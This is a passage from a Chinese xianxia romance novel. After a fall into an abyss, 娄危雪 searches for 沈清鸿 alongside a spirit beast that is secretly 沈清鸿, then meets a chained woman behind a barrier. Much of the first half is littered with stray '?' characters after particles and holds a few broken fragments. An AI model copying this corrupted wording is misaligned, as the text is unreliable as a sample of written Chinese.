眼看着那巨口就要落在娄危雪的?身上,沈清鸿咬紧牙关,撤出?均湘,没了均湘的?阻挡,凶兽的?尾巴重重拍在沈清鸿的?身上。 一缕鲜血从?她唇边溢出?,她目光灼灼不管不顾在巨口咬下之前挡在了娄危雪身前。 血花溅起,沈清鸿闷哼出?声。 “沈清鸿!” 娄危雪焦急不已,看着把沈清鸿按在爪下的?庞然凶兽,竭尽全力刺向凶兽的?眼睛。 凶兽迫不得已松开牙关,躲避剑风。 但她也被娄危雪的?此举激出?怒气,眼中凶光大盛,甩尾毫不留情地?抽打在娄危雪身上。 娄危雪被打飞撞到树上,倒地?吐出?一口鲜血。 她眼前阵阵发黑,双手撑地?,可实在是筋疲力尽,试了好几次都没能爬起来?。 两人双双倒地?,凶兽晃着尾巴来?到娄危雪身边。 它埋首准备享用自己的?猎物,这个时候大地?突然发出?剧烈的?晃动。 原本低头张着巨口的?凶兽感?受到了什?么,半分犹豫都没有,直接放弃快要到口的?食物,四?肢并用冲入林中,那狼狈仓皇的?状态像是身后?有什?么可怕的?东西一般。 能让凶兽放弃到口的?食物,可见?来?的?绝非善类。 沈清鸿已经从?地?上爬了起来?,来?到娄危雪身边,弯腰费力地?去扶娄危雪。 “起来?,快走。” 鲜血和汗水混合着落下,滴在娄危雪的?脸上。 娄危雪咬牙,把剑杵在地?上,借着佩剑和沈清鸿的?力道艰难站起,朝远处跑去。 但是经过?一场恶战,两人身上伤痕累累,丹田内灵力所剩无几,根本就跑不快。 大地?颤抖得厉害,远远地?便能看到有一座小山似的?身影往这边跑来?。 在又一次地?动山摇的?晃动中,娄危雪脚下不稳,直接摔倒在地?,跑出?去一截的?沈清鸿见?状毫不犹豫地?回身。 身后?的?动静越来?越大,有什?么东西顺着地?面传来?,声音炸裂近在咫尺。 娄危雪只觉身下一空,漆黑的?深渊在娄危雪身下张开巨口,碎石滚落她越坠越深,黑暗即将把她吞没。 难道就要这样死了吗? 娄危雪伸手无力地?想要抓住些什?么,可是周遭空空,她什?么都抓不到。 时间被拉得无限长?,所有声音都从?耳边消失,娄危雪眼皮越来?越沉,在即将闭合的?前一秒,她看到一抹身影决绝地?跳下深渊。 这一刻,万物失色,就连天空都成了那人的?背景,她像是一束光,强势地?插入裂缝,照亮漆黑的?深渊。 娄危雪挣扎着想要抵挡住眼皮的?重量,但眼皮太沉。 在失去意识的?前一秒,她的?手腕被人抓住,灼热的?温度顺着手腕传遍全身。 “别怕。” 清洌冷静的?嗓音在她耳畔响起,她依旧在坠落,却像是跌入了一场温柔的?梦。 当娄危雪醒来?的?时候,只觉得全身上下都在叫嚣着疼痛。 她眨了眨眼睛,漆黑的?石壁映入她的?眼帘,一道裂缝笔直向上看不到尽头,这里?仿佛是深渊之底,透不进一丝天光。 昏迷前的?那一幕画面不断地?冲击着她的?大脑,耳边仿佛依旧回荡着那个人的?声音。 她原本以为要死在那道裂缝中了,那个人却跳下来?了,牢牢抓住她的?胳膊,告诉她别怕。 现?在她醒了,那个人呢? 想到这里?,娄危雪躺不下去,她撑起胳膊,艰难地?从?地?上爬起。 身上的?伤口因为她的?动作被牵扯,传出?钻心的?疼痛,娄危雪却根本顾不得这些。 地?底昏暗,娄危雪取出?光珠,深渊底下有了亮光,娄危雪这才看清周边的?环境。 方才她躺着的?地?方是一处石道,看样子她是掉到了某个洞中。 沈清鸿既然是和她一起掉下来?的?,想必和她离得不会太远。 她咬紧牙关,扶着洞壁沿路仔细地?寻找着。 一边找她还一边虚弱地?呼唤,“清鸿仙尊?你在哪里??” 娄危雪受伤不轻,她撑着身体走得很慢。 汗水顺着她的?面颊滑落,在她灰扑扑的?脸上冲刷下一道痕迹,露出?原本的?肤色。 正找着,角落一处突然传来?几声响动,有细碎的?石子滚到娄危雪脚边。 “沈清鸿?” 娄危雪眼底闪过?一抹惊喜,朝着发出?声音的?地?方靠近,不过?出?现?在她眼前的?并不是沈清鸿。 一个毛团子倒在角落,雪白的?毛发被血打湿,混合着灰尘灰扑扑湿漉漉地?纠结在一起,此刻正虚弱地?抬着头看娄危雪。 娄危雪怔愣一瞬,“六六?” 毛团子低低呜咽一声,什?么都没说。 而在毛团子的?不远处,均湘剑和它的?剑鞘正静静地?躺在地?上。 同样受伤,同样出?现?在深渊,沈清鸿脑中顿时浮现?一个猜测。 她的?眼睛睁大许多,难道说沈清鸿其实就是六六? 念头只出?现?一瞬,随后?便被娄危雪摇头给快速否定掉。 不不不,不可能的?。 沈清鸿怎么说都是一个化?神期的?仙尊,怎么会随随便便就让她给契约了。 而且当初她看那本书?的?时候,可没说过?清鸿仙尊还会变身的?。 对,一定是她多想了。 娄危雪按捺下心头的?猜测,她蹲下身体仔细地?检查着六六身上的?伤势,发现?六六受伤颇重,比起她来?简直不遑多让。 “怎么伤成这样。” 娄危雪满眼心疼与担忧,伸出?一只手轻轻揉了揉团子完好无伤的?脑袋。 她叹了口气,“你怎么总在受伤的?时候被我捡到。” 毛团子抬眸看了娄危雪一眼,眼神复杂,只不过?娄危雪并不能从?一只小兽的?脸上看出?什?么表情。 她先把毛团子身边的?均湘剑捡起送入剑鞘在腰上挂好,然后?才小心翼翼地?把毛团子抱起。 “我会照顾你的?,不过?在那之前我们还要先找一个人。” 想到六六旁边沈清鸿的?佩剑,娄危雪询问?:“六六,你有看到和我一起从?上面掉下来?的?人吗?” 毛团子沉默一会,才开口。 “没有。” 她嗓音沙哑,只是说了两个字,却消耗了不少的?力气,恹恹的?把头搭在了娄危雪的?臂弯中。 “这样啊。” 娄危雪有些失落,但很快就恢复过?来?,开始继续寻找。 在娄危雪眼中,沈清鸿总是那般从?容坦然,脊背永远挺拔笔直,从?来?不会弯曲,仿佛只要她在,所有的?问?题都能迎刃而解,叫人只是望着便觉得心安。 可是现?在不管娄危雪怎么寻找,她都没找到心心念念的?那道身影。 从?醒来?后?,娄危雪就没好好休息过?,更何况她本就受伤不轻。 时间一分一秒流逝,娄危雪眉头紧锁,脚下的?步伐越来?越沉重,像是灌了千斤的?水。 娄危雪紧抿着唇,一只手抱着六六,一只手扶着洞壁。 沈清鸿是为了救她才坠下来?的?,她一定要找到沈清鸿。 发丝沾粘在脸颊两边,汗水浸湿了娄危雪的?衣衫,她面上毫无血色,嘴唇苍白。 这具身体已经到达极限,根本就不容许她继续找下去。 在迈开?*?一次步子后?,娄危雪再也抬不起脚来?,她扶着墙壁身体慢慢滑落,只觉满心无力。 “动起来?啊!别停下!” 她懊恼地?敲打着双腿,但是根本起不到任何作用。 “你怎么这么废物!怎么连找个人都做不到!” 娄危雪眼眶发红,有水光在眼底潋滟泛滥。 从?相识以来?,沈清鸿对待她的?态度一直都很认真?。 遇到事情总是第一个挡在她的?身前,永远决绝无畏,从?未有过?半分犹豫。 反观她呢?她是个胆小鬼,始终在逃避。 她害怕死亡,逼着沈清鸿与她解除婚约,不愿与沈清鸿有牵扯,可到头来?却与沈清鸿牵扯最深。 害得沈清鸿中了合欢散,害得沈清鸿不得不来?这里?,害得沈清鸿护她救她遍体鳞伤。 自责、愧疚、担忧……各种情绪复杂交织在一起,最终也不过?化?作焦急的?一句。 “沈清鸿,你到底去哪里?了啊。” 眼眶盛不下满溢的?泪水,顺着面颊流下。 娄危雪嗓音哽咽,身体因为哭泣而微微地?抽动着。 被娄危雪好好护在怀里?的?六六不知道什?么时候抬起脑袋,见?娄危雪哭成这样,主动蹭了蹭娄危雪的?手指。 她在以自己的?方式,安慰娄危雪。 柔软的?触感?从?臂弯中传来?,娄危雪抬眸,眼泪汪汪的?。 “呜哇,六六,我找不到人。” 毛团子在娄危雪的?臂弯中拱了拱,尽力地?安慰道:“别哭,你找的?那个人会没事的?。” 娄危雪连连摇头,“她为了救我,受了不少的?伤,又从?那么高的?地?方摔下来?,怎么会没事呢。” 泪水一颗颗地?从?她眼眶中滚落,她哭得更厉害了。 少女的?脑袋垂落埋在手掌前,毛团子撑起身体靠近娄危雪,她伸出?一只毛茸茸却伤痕累累的?小爪子,努力靠近娄危雪的?脑袋,轻轻地?拍了拍。 “别担心。” 或许是六六的?爪子太过?柔软,娄危雪心底的?焦躁竟然奇迹般地?被抚平了。 她抬头,睁着朦胧的?泪眼,看着抱着的?那一团小兽。 “听话,不要哭了,先照顾好自己恢复身体,只有这样你才能有力气去找人。” 六六用软软的?肉垫,碰了碰娄危雪的?眼睛。 明明是小小的?身体,但是说出?来?的?话却给她带来?了莫大的?力量。 “嗯。”娄危雪抬手抹了下眼睛,抽抽鼻子,“你说得对,我要好好照顾好自己,清鸿仙尊还等着我去找她呢。” 宣泄这么一通后?,娄危雪的?心里?好受许多,不过?脚依旧抬不起来?,手指也绵软得没有力气,只是她不再如先前那般执拗地?非要找人。 娄危雪拿出?丹药倒出?几颗吃下,又给六六喂了些。 挥手用剩下的?丁点灵力在周围布下一层结界,她把六六放下,然后?盘腿开始打坐调息。 这里?是合欢宗的?地?界,说不准什?么时候便会遇到危险,为了自己,也为了清鸿仙尊,都要抓紧时间恢复才行。 六六抬头看着已经进入状态的?少女,放心许多,疲倦如水席卷她的?全身,六六缓缓闭上眼睛。 把灵力在体内运转几个周天之后?,娄危雪睁开双眼,身体已经不如刚醒来?时疲惫,灵力在丹药的?加持下和打坐的?过?程中恢复了一些。 六六正趴在她的?腿边,小小的?一团身体随着呼吸上下起伏,看样子睡得正香。 娄危雪没有动,她仰起头来?看了眼上方,山壁在头顶裂开,石壁漆黑吞没所有的?光亮。 当时她是亲眼看着清鸿仙尊跳下来?的?,既然清鸿仙尊不在这附近,那她就去别处找,这条裂缝这么大,清鸿仙尊说不定摔在了别的?地?方。 她站起身把六六抱入怀中,小兽没有醒。 娄危雪沿着裂缝下面的?石壁走着,为了防止把六六吵醒,娄危雪走的?每一步都足够的?稳。 她偶尔会停下,在墙壁上留下一道印记。 这个印记与她在乔宅遇险时留下的?一样,如果沈清鸿看到,一定知道是她留的?,便可以顺着印记来?找她。 不知道走了有多久,耳畔传来?一阵细小的?水流声,娄危雪脚步未停朝着前方继续走去,越往前水声越大。 渊的?黑暗,娄危雪把光珠抛出?用法术悬至半空,一条暗河出?现?在娄危雪面前。 水流静静流淌,朝娄危雪散发着无尽的?诱惑。 原本娄危雪还没什?么感?受,可是在看到这条河流的?瞬间,只觉身上处处黏腻,到处都不舒服。 她抿了抿唇,选择好好清洗一下自己。 将六六放下,娄危雪解开腰间的?系带,褪下衣服走入河中。 河水冰凉,与温热的?皮肤接触冻得娄危雪打了个激灵,伤口也在河水的?刺激下有些发痛。 不过?眼下条件有限,娄危雪顾不得那些。 她撩起清水,仔仔细细地?清洗着身上血迹和尘埃,等把自己上上下下都洗干净之后?,娄危雪才走入岸上。 六六不知道什?么时候醒了过?来?,趴在岸边目光落在娄危雪的?身上。 少女的?身体发育得很好,凹凸有致,皮肤光洁细腻如莹润的?玉石,也是因此那些红色的?伤痕在她的?身上便显得格外刺眼。 除了肩头的?那道爪痕,剩下的?痕迹大多是合欢宗的?人在娄危雪身上留下的?。 小兽眼神暗下,里?面流淌着说不清的?情绪。 娄危雪对此还丝毫不知,她从?随身空间中取出?外伤药和绷带给自己简单处理了一下伤口,然后?换上干净的?衣服。 抬手打了个响指,灵光闪过?头发上的?水迹迅速蒸发,她喟叹一声,只觉浑身爽利。 正准备把地?上的?脏衣服处理一下,结果就发现?六六正睁着眼睛看着她。 “你醒啦。” 娄危雪伸出?一根食指在六六的?脑袋上戳了一下,脑袋上蓬松的?绒毛被戳的?下陷,一个小小的?坑出?现?在六六的?脑袋上。 往日雪白的?毛团子此刻灰扑扑的?,身上全是血迹和灰尘。 之前没有水,现?在有水了自然要好好利用。 “六六,你身上这么脏,我帮你也洗洗,对伤口恢复也好些。” 娄危雪伸手想要把毛团子给抱起来?,结果抓了空。 “不用。” 毛团子躲过?娄危雪的?手,抬起爪子就要朝水里?跳去,可却在半空中被娄危雪截住,一伸手给捞了回来?。 “水凉,不要跳进去。” 毛团子愣了一下,心中升起一抹不好的?预感?,她耷拉着四?只爪子,疯狂挣扎。 “放我下来?!” 看着那在空中划拉的?爪子,娄危雪只觉得可爱,捏了捏毛团子柔软的?肉垫。 “我帮你洗吧。” 她笑眯眯的?,从?小屋中离开后?她可是好久都没有摸到过?毛茸茸了,虽然现?在六六身上很脏,但是这个手感?是真?的?好啊! 不动声色地?用契约控制住毛团子,娄危雪把毛团子放在地?上,同时结印引来?一股水流。 水流是从?暗河中引来?的?,带着冰冷的?凉度,但是总比让六六整只兽都下到暗河中要好。 灰扑扑的?毛发被引来?的?水流打湿,血水混合着脏污流下。 毛团子打了个激灵,挣扎着。 “放开我!” 为了避免毛团子挣扎的?时候弄裂伤口,娄危雪干脆直接丢了个定身术。 还没恢复过?来?,又受制于契约的?毛团子在娄危雪面前简直毫无任何还手之力。 娄危雪明亮的?眸中含着得逞的?笑意,“又不是没有帮你洗过?,不要害羞嘛!” 最开始遇到娄危雪时被按着洗的?画面浮现?在毛团子的?脑海中,毛团子羞愤愈加,如果不是有绒毛的?遮挡,整个团子都要变成粉色的?了。 蓬松的?毛发淋湿之后?湿漉漉的?帖在毛团子的?身上,露出?她原本的?样貌。 为了避免弄疼毛团子,娄危雪手上的?动作轻柔得很,她仔细地?把纠结在一起的?毛发梳开,用水流冲去血污。 一番清洗过?后?,毛团子重新恢复回原本的?颜色。 取出?伤药,仔细地?把药膏涂抹到白团子的?伤口上,然后?娄危雪才施展法术,把白团子身上的?毛发弄干。 这样原本灰扑扑的?团子,又成了白白软软的?一团。 娄危雪抱着洗干净的?团子,感?觉自己像是在抱一蓬柔软洁白的?云。 这样子看起来?真?的?好好吸哦! 一时没能忍住,趁着白团子生无可恋没有恢复过?来?的?时候,她迅速把脸埋了进去,蓬松柔软的?绒毛将娄危雪包裹起来?。 她深深地?吸了口气,清洌带着些苦涩药香的?味道钻入鼻腔。 果然很好吸! 被吸的?毛团子反应过?来?之后?,毫不犹豫,嗷呜一声,伸爪抗拒地?推着娄危雪的?脸蛋。 “小流氓!放开!” 娄危雪的?脸被推开,有些不满地?嘟囔道:“六六你怎么还是这么小气啊,刚刚可是我给你洗澡清理的?伤口诶,叫我吸一口怎么了嘛。” 白团子冷哼一声,从?娄危雪怀中跳下。 什?么给她洗澡,她明明可以自己洗,别以为她不知道娄危雪心里?打的?是什?么主意! 怀中空下,娄危雪看着落地?的?一小团眼神幽怨,但是也拿白团子没有任何办法。 方才在给白团子洗澡的?时候,娄危雪身上的?衣服沾了不少污水上去。 在河中冲洗了一下双手,她重新换了件外衫。 地?上还有换下来?的?脏衣服,娄危雪看了一眼,丢出?一道法诀。 火光跳跃,不算热烈的?温度稍微驱散了一些暗河水带来?的?凉。 娄危雪蹲下来?,等待着衣服被烧干净,白团子就窝在边上,身上的?绒毛被火光印成橙色。 有一些问?题娄危雪憋在心里?好久了,在这安静的?时刻,她伸手戳戳边上的?白团子。 “六六,当初你为什?么要离开小屋啊。” 白团子闻言抬眸看了娄危雪一眼,“当时有些事情需要处理。” 她是六六的?契主,如果有什?么事情要处理,六六完全可以告诉她,她们可以一起去的?。 娄危雪还记得当初六六失踪时她通过?契约感?应到的?东西,六六为了口中的?事情受了伤,但不知道为什?么回来?后?,又躲着她。 这是娄危雪最想不通的?地?方,她明明可以帮六六治疗伤口。 想不明白,娄危雪便问?了。 “你后?来?是不是回了小屋?为什?么还要躲着我?” 白团子身体有一瞬的?僵硬,沉默着没有答话。 娄危雪一向是个善解人意的?,明白问?了不好回答的?问?题,没有强兽所难,她换了个问?题。 “你这次又是怎么受的?伤?” 白团子幽幽看了娄危雪一眼,依旧保持着沉默。 看来?是又问?到六六不好回答的?事情了,娄危雪叹了口气,无奈妥协。 “那好吧,我不问?,但是现?在我们遇到了,你总要告诉我,你之后?还会不会走了。” 事实上这个问?题白团子也不愿意回答,但是看着娄危雪那灼兽的?视线,她终究是开口了。 “暂时不会走。” 暂时不会走,就是有一天还是会走。 听到六六的?回答,娄危雪眼神暗下,她抿了抿唇,身边气压低沉。 “你就这么不喜欢和我在一起吗?” “没有,只是没到时候。” 她还没弄明白她这个化?身究竟是个什?么情况,又怎么会和娄危雪说她的?真?实身份。 更何况娄危雪那么着急地?想要和她退婚,如果知道她就是沈清鸿的?话,想必只会更加不想和她在一起。 衣服烧尽,周围的?亮度弱下去,本就不多的?温度渐渐消散,河水的?寒意重新席卷上岸。 白团子垂下眸,没有让娄危雪发现?任何的?异样。 “走吧。” 脏衣服已经处理好了,娄危雪抱起白团子重新踏上找人的?道路。 这条裂缝笔直且长?,落不进天光叫人不知昼夜。 不过?算算上山的?时间,加上中间经历的?那些事情,外面应该差不多已经入夜。 娄危雪走了许久仍未走到尽头,逐渐感?觉到体力不支,她没有勉强自己,找了个干净的?地?方坐下。 “今天我们就先在这里?休息吧。” 白团子对此自是没有异议,她一路被娄危雪抱在怀中,休息得很好。 娄危雪在旁边布了道结界,靠着墙壁,没多久便沉沉睡去。 在她睡下后?,白团子抬了抬爪子,一道比娄危雪结界还要大上许多的?无形结界在周围布下。 白团子窝在娄危雪的?旁边,为娄危雪守夜。 渊下安静,半夜白团子忽然听到一阵呢喃。 “不要,沈清鸿,你快走!” 她凑到娄危雪身边,见?娄危雪不知道什?么时候睡到了地?上,额上冷汗密布,眉头紧紧皱在一起,像是在做什?么不好的?噩梦。 白团子伸出?爪子,准备把娄危雪叫醒,但肉垫下传来?的?皮肤格外滚烫。 一般修仙之人基本不会生这种小病,可或许是地?下暗河的?水太冰了,加上娄危雪受伤身体虚弱,便这么病了。 如果灵兽也有表情,那此刻白团子的?眉毛一定是皱在一起的?。 不行,不能放任娄危雪这么烧下去。 沈清鸿沉思片刻,她记得以前看到过?村庄里?的?人,是用冷水给发热的?人散热的?。 而在她们走过?来?的?不远处,就有一个地?下河流的?分支。 看了眼娄危雪,白团子朝来?时的?路跑去了。 不过?没多会儿的?功夫白团子又跑了回来?,她的?身后?静静悬着一个水球,里?面凝聚了不少从?暗河支流取来?的?水。 水取来?了,剩下的?就是载体了。 白团子抬爪,娄危雪今日刚换上的?衣裙,就这么被她划破。 一节布料被她截取下来?,送到水球中沾湿,又用灵力浮空,送到了娄危雪的?额头上。 为了防止布条没有搭好,白团子也跑到了娄危雪的?脑袋边,用爪子把没有铺平的?布料展开搭好。 一旦布料变热,白团子就会重新为布料沾水。 如此反复,直到娄危雪身上的?温度渐渐褪下。 等第二天娄危雪醒过?来?,一睁眼对上的?便是白团子那张毛茸茸的?小脸。 见?人醒了,白团子连忙询问?:“你现?在感?觉怎么样?” “我怎么了?” 娄危雪开口后?才发现?,自己的?嗓子哑得厉害,一道诧异从?眼底闪过?。 白团子解释:“你昨夜发热了,虽然现?在已经退烧,但还是得多注意休息。” 娄危雪撑起身体,看到自己短了一截的?裙摆,和被折叠起来?的?布条,明白昨夜她发热,肯定是白团子在照顾她。 “我们六六真?棒,都已经会照顾人了。” 她一把将白团子搂入怀中,脑袋贴着白团子蹭了几下,无比欣慰。 白团子下意识地?想要挣扎,可是想到娄危雪现?在是个病人,刚举起来?的?爪子又放下了。 娄危雪余光看到这个动作,唇角笑意更盛,她可真?是契约了一只心软的?小团子。 这里?是合欢宗的?地?界,能不在这里?多待就不在这里?多待。 娄危雪打算加快寻找沈清鸿的?速度,等找到人之后?,再从?长?计议玲溪和李寄春的?事情。 “好了,现?在我已经没事了,我们可以出?发了。” 白团子闻言立刻从?娄危雪怀中跳了下来?,“不行,你是病人,需要好好休息才可以。” 娄危雪摇头,无奈道:“六六,我这只是小毛病,不用停下休息的?。” “你知道,我还要找人。” 白团子知道娄危雪要找的?就是自己,可是现?在她是灵兽这个状态,娄危雪根本就不可能找得到她。 而且娄危雪之前那么想和她退婚,摆脱关系,她并不认为她对娄危雪有多么重要。 白团子拦在娄危雪要走的?路上,“你还病着,那个人知道你生着病也要去找?” 或许在以前,娄危雪还会因为这个问?题犹豫,可是在经历过?那么多的?事情之后?,她很清楚内心的?答案。 娄危雪看着白团子,低垂着的?长?长?的?睫毛下,是黑水晶般的?双眸。 她神色认真?,语气坚定:“值得,我必须找到她,她对我来?说很重要。” 说完这句话,娄危雪直接弯腰抱起拦路的?白团子。 白团子因为娄危雪的?话怔愣在原地?,呆呆地?没能躲开,直到被娄危雪抱入怀中她才反应过?来?。 第36章 温暖的体温包裹着她,白团子情绪复杂,百感交集。明明之前?在云霄门的时候,娄危雪总是躲着她。 看着突然乖下?来的团子,娄危雪扬唇微微一笑,抱着团子继续找人去了。 找累了就停下?来休息,休息够了后两眼一睁就是找。 在娄危雪的不断寻找下?,这截裂缝逐渐走到尽头。 原本黑暗的渊底,泄露出一丝微弱的亮光,娄危雪向着前?方的光亮处走去,光越来越亮。 天光乍泄,娄危雪从裂缝处钻了出来,眼前?豁然开朗。 风声?猎猎,卷起娄危雪的衣裙。 她探头看了眼脚下?,是一眼望不到尽头的峭壁,抬头也?是同样的石壁。 缩了缩脖子,娄危雪把?六六抱得更紧了,这要是一个不小心摔下?去,可直接就尸骨无存了。 “这个地方已经很多年没人过来了。” 突然出现的人声?,叫娄危雪心头大惊,可环视一圈什么都没看到,她满眼警惕,同时把?抱着的白团子藏入袖中。 “谁。” 低低的笑声?响起,提醒:“这边。” 一阵锁链摩地的声?音响起,娄危雪循着声?音这才发现,斜下?方的崖壁上?有处凸出来一点的平台,一个女子正站在那里,黑色的锁链牢牢地锁在女子的双手和双脚上?。 淡紫色长裙垂及地面,万千青丝用一根玉簪束起,她眼尾上?翘,唇红如朱,红色的花纹自她的右边眉骨处垂直往下?,如一道利剑滑过眼睛,直到眼睑下?方。 在娄危雪看过去的时候,只听那人也?直直的盯着自己,低喊了一声?: “花醉月!” 娄危雪感觉这名字有些?耳熟。 还没反应过来,立刻感觉在她袖子中的白团子,听到这个名字的瞬间耳朵竖起,她这才想了起来。 花醉月正是这一任的合欢宗宗主,为人神秘,鲜少?出现在人前?,每每出现也?必会戴着黄金面具,所?以很少?有人知道她的长相?。 这人为什么喊花醉月,难不成是花醉月把?她关起来的? 这个时候,那女子盯着娄危雪,神色已经恢复如常,颇为自嘲:“呵呵,她怎么可能会过来呢。” 娄危雪愣了一下?,如果她没记错的话?,花醉月是合欢宗的宗主吧。 这人与合欢宗宗主是什么关系? 娄危雪面上?不露声?色,她试探道:“阁下?和花宗主认识?” “自然是认识的。” 看着那张与花醉月相?似的面容,女子眸中闪过一抹追忆。 娄危雪没错过那道眼神,可这就奇怪了,看这位阁下?的样子似乎和花醉月关系匪浅,好似还不错,那为何会被锁链困在这里? 见这位阁下?没有因为她之前?的问题不高兴,娄危雪索性?继续询问:“既然认识,那阁下?与花宗主是何关系?为何会被困在此处” “故人而已,至于为什么会在这里,当?然是有人想把?我关起来,不想让我出去。” 娄危雪眼睛微微眯起,这女子看似回答了,但是又和没说?差不多,根本就没透露什么信息出来。 女子撑着下?巴好整以暇的看着娄危雪,朱唇微启:“既然我答了你的问题,你是不是也?要回答我的问题。” 娄危雪抬手示意,“阁下?请说?。” “此处禁制重重,你是怎么来到这里的?与花醉月是什么关系?” 虽然这女子说?这里禁制重重,但是娄危雪是沿着裂缝走的,一路颇为顺畅,什么危险都没遇到。 娄危雪指指上?空,语气颇为无辜。 “遇险,稀里糊涂地就从上?面掉下?来的。” “至于关系,阁下?高看我了,我只是一个无名小卒,如何能与花宗主攀上?关系。” 娄危雪不是没想过冒充花醉月的身边人,可眼前?这人说?是与花醉月是故人,但是目前?尚且不知道她被关在这里是否与花醉月有关系,娄危雪不敢冒险攀扯与花醉月的关系,毕竟仇人也?可以是故人。 眼前?女子来历成谜,她还是要小心谨慎些?为好。 女子闻言微微点头,眼底滑过一抹深思,没说?相?信也?没说?不信。 两人之后又你来我往的试探对方好几?句,只不过彼此的防备心都很重,不管娄危雪怎么旁敲侧击,都没再问出有用的信息。 此处是合欢宗地界,这人来历成谜不知底细,娄危雪沉思几?秒决定还是先离开。 她是从裂缝的起始点开始找沈清鸿的,这里已是终点,一路走来找了这么久,都没在底下发现什么有人在的痕迹。 说不定沈清鸿不在这里,已经离开了。 想到此处,娄危雪取出佩剑,手腕翻转掐指成诀,她踩到剑上?,带着六六向着上方的豁口处飞去。 女子见到娄危雪的举动,并未阻止,只是笑看着。 娄危雪操控着剑身,逐渐往上?飞去,可是当?她升到一定的高度之后,一道无形的结界墙挡在了娄危雪的头顶,她伸手摸到结界,点点涟漪在空中泛开。 摔下?来的时候也?没见有结界挡着啊! 娄危雪双眉紧紧皱在一起,运转内丹出掌试图破开结界,但打出去的灵光却?像是被结界吸收了一般,并无作用。 非但如此,还有一股暗劲顺着手掌反弹而来,猝不及防下?,娄危雪身形晃动几?分,好险没从剑上?掉下?。 试了好几?次,娄危雪都没能打破这道结界,迫不得已只能操控飞剑缓缓降落。 她落回到原地,头顶是漆黑的深渊,前?方是缝隙的尽头。 既然上?面走不了,那就从这里走试试。 娄危雪目光坚定,向着前?方飞去,可是她飞出不远,就再次碰到结界墙,根本无法打破,不信邪的娄危雪重新把?目光投向崖底。 女子把?娄危雪的举动看在眼里,见她还没放弃,提醒道:“不要白费力气了,这世上?能解开这个结界的不过几?人,你出不去的。” “不试试怎么知道?” 娄危雪不信邪,操控飞剑下?降,这次倒是没在半空出现什么结界,娄危雪缓缓降落在崖底。 崖底有一条河流,沿岸是茂密的森林。 娄危雪操控着飞剑在崖底飞了一圈,在边缘同样遇到结界,依旧是打不开。 看来上?面那个奇怪的女子说?得很对,她根本就出不去。 不知道这里的结界是谁设下?的,将这方空间给笼罩得严严实实,没有留下?任何的漏洞。 在娄危雪转身的时候,白团子默默挥出一爪,结界没有半分波动。 这下?倒是麻烦了。 娄危雪对此丝毫不知,她出不去,无奈只能重新御剑回到上?面。 见娄危雪回来,女子没有丝毫意外。 娄危雪将视线重新落回那个女子的身上?,“阁下?既然对这个结界这般了解,不知道可有出去的办法?” 闻言,女子朝娄危雪勾了勾手指,示意娄危雪过去。 娄危雪微微一愣,随后心生警惕。 她尚且没摸清楚对方底细,不知道对方的身份来历,又怎么会过去。 娄危雪站在原地未动,“阁下?如果有话?,不妨直说?。” 女子看出娄危雪对她的防备,轻笑一声?。 她抬起手来,锁链随着她的动作哗哗作响,一道灵气化?成的风刃向着娄危雪这边袭来。 娄危雪面色凝重,下?意识地准备抵挡,那道风刃却?擦着她而过,斜斜地打在她身边的墙壁上?。 墙壁瞬间出现一道深深的痕迹,那刃口平整,足以见得出手人的实力。 女子声?音幽幽响起,“我若想对你动手,根本就不必等你下?来。” 确认过实力,是她打不过的人。 如果对方真的想对她做些?什么,她现在恐怕就不会站在这里了。 识时务者为俊杰,娄危雪飞下?,落在女子所?在的平台处,发现这里宽阔无比,不过没什么摆设,在后方的石壁上?嵌着四条锁链,正牢牢地锁着女子的四肢。 不动声?色地收回视线,娄危雪微笑,看上?去一副极好说?话?的样子。 “现在我下?来了,不知道阁下?可否把?结界的解法告诉我。” “可以啊,”女子红唇勾起,“我已经很久没见到有人过来了,你陪我多说?说?话?,兴许我一高兴,就帮助你出结界了。” 娄危雪看了眼女子身上?的锁链,目露狐疑。 她的眼神太直白,女子一眼便看透了她内心的想法。 “这锁链只不过是限制了我的行动而已,我虽然出不去,但是那个结界还是可以帮你破的。” 眼下?没有其他办法出去,娄危雪只能暂时相?信眼前?的人。 女子靠坐在石壁处,“说?说?吧,你不是合欢宗的弟子,怎么来的这里。” 娄危雪垂眸,正思索着要怎么给自己编一个新身份,结果还没开口,就听到女子的警告。 “我很清楚合欢宗的弟子是什么样子,所?以你想好了再说?话?,我可不喜欢会撒谎的孩子。” “好吧,我不是。”娄危雪两手一摊,直接选择放弃。 这女子既然能说?出花醉月这个名字,估计与合欢宗颇有渊源,说?不定真知道怎么分辨合欢宗弟子的身份。 她打不过这个人,还是要谨慎点,不要把?这人惹怒了才好。 “为什么能够来这里,当?然是有人带我过来的。” “这里是合欢宗的圣山,你既然说?与花醉月没关系,那还有什么人能把?你这个不是合欢宗门派的人带上?来,你莫不是在骗我吧。” 女子眸光微敛,说?到后面声?音都加重了一些?。 娄危雪眨了下?眼睛,表情颇为无辜。 “我怎么会骗阁下?呢,带我来的人正是合欢宗的少?主,花厌。” 女子诧异,“花厌她会带你来这里?” “是啊,”娄危雪敏锐地发掘出一条信息,试探道:“阁下?认识花厌?” “嗯。” 女子应了一声?,不过除此外倒是没多说?什么。 娄危雪不禁在心里吐槽,老狐狸,这嘴是真严。 索性?现在哪也?去不了,她就这么有一搭没一搭地和女子聊着,女子很少?说?话?,大部分时间都是娄危雪在说?。 直到…… 咕噜噜—— 一阵令人尴尬的声?音响起,娄危雪捂着肚子,脸色发红。 她只是个结丹期的修士,还没到可以辟谷的境界,加上?落下?来这么久,早已饥肠辘辘。 天大地大,吃饭最大。 娄危雪指指外面,“那什么,阁下?,我去下?面找点吃的,晚些?再回来陪你叙话?。” 女子闭上?眼睛没有说?话?,娄危雪就当?她是默认了。 她操控佩剑,朝着崖底落去。 之前?试图从下?面离开的时候娄危雪就发现了,这崖底的树林中有一些?果树,里面还有些?许野兽,正好可以用来果腹。 在林子中搜罗一圈后,出来后娄危雪的手上?多了只兔子,还用衣服兜了些?野果出来。 她来到河边,砍下?一截粗壮的树枝,在地上?架起烤架,然后用匕首将兔子完毕清洗过后,娄危雪把?兔子插入削尖的树枝上?烤了起来。 河中有鱼,在烤兔子的时候,娄危雪又抓了条鱼给处理了。 等做完这些?之后,娄危雪清洗双手蹲在烤架边,明灭的火光在她眼中闪烁。 她一边烤东西,一边和白团子说?话?。 “六六,你觉得上?面那女子的话?可信吗?” “这里是圣山,能被关在这里足以证明她的身份并不简单。” “不管她可不可信,眼下?暂时没有其他的出路,只能先静观其变。” 那结界沈清鸿有偷偷试着破过,与娄危雪同样,根本破不开。 缝隙中未见其他人,目前?看来,这女子是她们出去的唯一线索。 